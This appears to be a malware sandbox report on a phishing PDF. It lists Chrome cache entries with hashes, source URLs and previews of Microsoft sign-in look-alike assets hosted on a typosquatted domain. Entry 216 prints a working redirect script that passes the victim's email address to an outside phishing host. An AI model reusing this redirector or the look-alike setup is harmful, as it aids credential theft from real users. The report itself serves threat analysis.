Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14775)
Category:	dropped
Size (bytes):	15748
Entropy (8bit):	5.365682367038635
Encrypted:	false
SSDEEP:	384:DjIlYOW2Zq32yYfeXOh+rF3fWTkDZDUzfDv79zY:4l3gMb7tY
MD5:	3C6F74F17A1047C4CBB93CD6E456A2BC
SHA1:	4ECBACED5CA7EC33F4C247750F57C3CA31B94BE6
SHA-256:	2DB2F2EA915F4423171358BE6337A68B5B3ED82C63BF3D02433AD4A5046C566A
SHA-512:	8FE5CC4E1E5E1FCB7AD03FB35F047092E8D57FFEAEC08EB2B67BD6C0D23A08A2E06E049D00FCFA2D59FE3D19E15873BB1047AFD8A7A35D787C4EDA126EDD37F5
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[15],{485:function(e,n,s

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	237
Entropy (8bit):	4.9172761426612315
Encrypted:	false
SSDEEP:	6:qF/xDWuPxm9/UAY8PXIfmFriNVNKc8Q4Fwd4NGh:sWuZY/Ur8PXIfQriNVjX46d4NGh
MD5:	0F66AF05956F21EF936C7D476B24DA0D
SHA1:	F96BB3DF1EFD95FC912146909140F204A078DE25
SHA-256:	AF82BFE644208D9FDF53505E2AE7F2C9030538F4744598A936D8A0F1389B0C16
SHA-512:	74DD3DB859C4CD8BAA4D9B76C1BF277CB79664B9D392D2BC18D08F6269E6E9EC3503EBC073314661B790D61F68234203BEF79C6AFA6987DA771A85A1B801326C
Malicious:	false
URL:	https://dclima.cl/.pdf/encryption/00152689/php/connection/
Preview:	<html>. <body></body>. <script>. var u = window.location.href.lastIndexOf("/") + 1;. var d = window.location.href.substring(u);. window.location.replace("https://robustwaresinc.com/?rebzqncw?&email=" + d);. </script>.</html>

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8182.16/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	113378
Entropy (8bit):	5.285066693137765
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmQhSeC1Jzc6VUW3:xkXhp6VU0
MD5:	9C837C2B6C9C441656C3C64BE6FC6401
SHA1:	D44AA83093C4109DDD8FFAEA60755F05D1BFE7D3
SHA-256:	68C2994E21A564345EB3B4091DD2334C9CBDDB0AECDA45EE963C6DE2E1629B93
SHA-512:	AF04835BCC621FE1793C4661FDB03EDEA16219BAA77F1198AA419F771B6B3DCDAC3DA92676568C207022251483AB79C75AB6DF2CE94924748FF9CEBF64AFF5A2
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8182.16/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.6978458230844122
Encrypted:	false
SSDEEP:	3:jAbukMn:jP
MD5:	6AAB5444A217195068E4B25509BC0C50
SHA1:	7B22EAF7EAA9B7E1F664A0632D3894D406FE7933
SHA-256:	FC5525D427BFA27792D3A87411BE241C047D07F07C18E2FC36BF00B1C2E33D07
SHA-512:	AA5F66638B142B5E6D1D008F2934530C7AAD2F7F19128CA24609825D0DACFFD25A77591BFD7FB1D225BE2FA77CABCE837E0741326C1AC622C244D51E6FAFB303
Malicious:	false
URL:	https://robustwaresinc.com/favicon.ico
Preview:	<h1>Access Denied</h1>

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14775)
Category:	downloaded
Size (bytes):	15748
Entropy (8bit):	5.365682367038635
Encrypted:	false
SSDEEP:	384:DjIlYOW2Zq32yYfeXOh+rF3fWTkDZDUzfDv79zY:4l3gMb7tY
MD5:	3C6F74F17A1047C4CBB93CD6E456A2BC
SHA1:	4ECBACED5CA7EC33F4C247750F57C3CA31B94BE6
SHA-256:	2DB2F2EA915F4423171358BE6337A68B5B3ED82C63BF3D02433AD4A5046C566A
SHA-512:	8FE5CC4E1E5E1FCB7AD03FB35F047092E8D57FFEAEC08EB2B67BD6C0D23A08A2E06E049D00FCFA2D59FE3D19E15873BB1047AFD8A7A35D787C4EDA126EDD37F5
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[15],{485:function(e,n,s

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 79 x 94, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPl6httNAkxl/k4E08up:6v/lhPi0k7Tp
MD5:	C0F9B50408FD3E6D7F8D4B80BC148F46
SHA1:	7FA30675A34EA6A507B55A2A945073CFA44F8CB6
SHA-256:	9524045B9FBE10C3031205A0D8A72DA816C3BE99DC1FF91ED4349499B3C120F9
SHA-512:	BA80BC54A426AEFE7998C2F77DC568B9E4BE8A47F43E9A1467EF838AAA640CC900CFEB53AFB34E734D6BE6D6FF6CC8CC4750981E5B9820C6F0188A2F8DB8EDCF
Malicious:	false
Preview:	.PNG........IHDR...O...^.............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	downloaded
Size (bytes):	47672
Entropy (8bit):	5.401921124762015
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUEn+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3UEsnpj
MD5:	B804BCD42117B1BBE45326212AF85105
SHA1:	7B4175AAF0B7E45E03390F50CB8ED93185017014
SHA-256:	B7595C3D2E94DF7416308FA2CCF5AE8832137C76D2E9A8B02E6ED2CB2D92E2F7
SHA-512:	9A4F038F9010DDCCF5E0FAF97102465EF7BA27B33F55C4B86D167C41096DB1E76C8212A5E36565F0447C4F57340A10DB07BB9AE26982DFFF92C411B5B1F1FB97
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/22755d9a86c9/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (6071)
Category:	dropped
Size (bytes):	7044
Entropy (8bit):	5.223117307599674
Encrypted:	false
SSDEEP:	96:jPjDXOMS1WfIDBvGRwieDBcdJTZOp5PRDfa1NLwCEL+KWa12j1L+E93LScNYpUCM:jP7ADRGRH0cd5ZgfeeLRcLpSU0Mt
MD5:	45EF8C1E7E251A0F65B2F3FA9D3F326A
SHA1:	4B6734349FCC7BA5FCFD76EE60E425DB5A5DFE55
SHA-256:	E60F70EBFD4F8F57DE9ED220FEA35EBA407B523C0039297D492F0D20CCF34D1E
SHA-512:	4B20575A53C44B423A6348302744C4B1E4948FCA4B23574DFDC8C0AEEF79F22F49A874FFC16A703EC4DFEF97713B35C6E7D02B83B9CB0991265FA8BE1A6315D7
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{473:function(i,e,n

Static File Info

General

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.884708483395456
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Kellyb Timesheet Report.pdf
File size:	129'094 bytes
MD5:	562717ef197aa346e3ee04680d2a525b
